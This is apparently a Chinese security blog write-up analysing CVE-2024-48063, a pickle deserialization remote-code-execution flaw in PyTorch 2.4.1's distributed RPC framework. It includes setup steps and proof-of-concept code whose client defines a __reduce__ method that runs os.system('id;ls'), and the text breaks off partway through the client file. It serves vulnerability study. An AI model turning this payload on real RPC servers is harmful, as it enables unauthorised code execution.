PyTorch库RPC框架反序列化RCE漏洞分析(CVE-2024-48063)

2024-11-12 193 0

前言

分析了pickle反序列化在PyTorch分布式RPC框架中导致的任意代码执行漏洞的成因

环境搭建及复现

  1. 使用conda创建虚拟环境

    PyTorch库RPC框架反序列化RCE漏洞分析(CVE-2024-48063)插图

  2. 使用pip安装2.4.1版本的Pytorch

    PyTorch库RPC框架反序列化RCE漏洞分析(CVE-2024-48063)插图1

  3. 分别创建server.py和client.py

    server.py创建一个分布式的RPC服务,能够处理client的远程调用请求

    # server.py
    import torch
    import torch.distributed.rpc as rpc
    
    def run_server():
        # Initialize server-side RPC
        rpc.init_rpc("server", rank=0, world_size=2)
    
        # Wait for the client's remote call
        rpc.shutdown()
    
    if __name__ == "__main__":
        run_server()
    

    PyTorch库RPC框架反序列化RCE漏洞分析(CVE-2024-48063)插图2

    client.py发起了RPC通信,并定义了一个简单的神经网络模型MyModel,其中包含有反序列化结束时将会触发的__reduce__函数,且对于该方法并无过滤,从而触发了了恶意代码的执行

    # client.py
    import torch
    import torch.distributed.rpc as rpc
    from torch.distributed.nn.api.remote_module import RemoteModule
    import torch.nn as nn
    
    # Define a simple neural network model MyModel
    class MyModel(nn.Module):
        def __init__(self):
            super(MyModel, self).__init__()
            # A simple linear layer with input dimension 2 and output dimension 2
            self.fc = nn.Linear(2, 2)
    
        # Define the forward method
        def __reduce__(self):
            return (__import__('os').system, ("id;ls",))
    
    def run_client():
        # Initialize client-side RPC
        rpc.init_rpc("client", rank=1, world_size=2)
    
        # Create a remote module to run the model on the server side
        remote_model = RemoteModule(
            "server",  # Serve

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

应急响应沟通准备与技术梳理(Windows篇)
API安全 | GraphQL API漏洞一览
BUUCTF | reverse wp(一)
Linux基线加固:Linux基线检查及安全加固手工实操
揭秘Gamaredon APT的精准攻击:针对乌克兰调查局的网络钓鱼与多阶段攻击
特定版本Vaadin组件反序列化漏洞

发布评论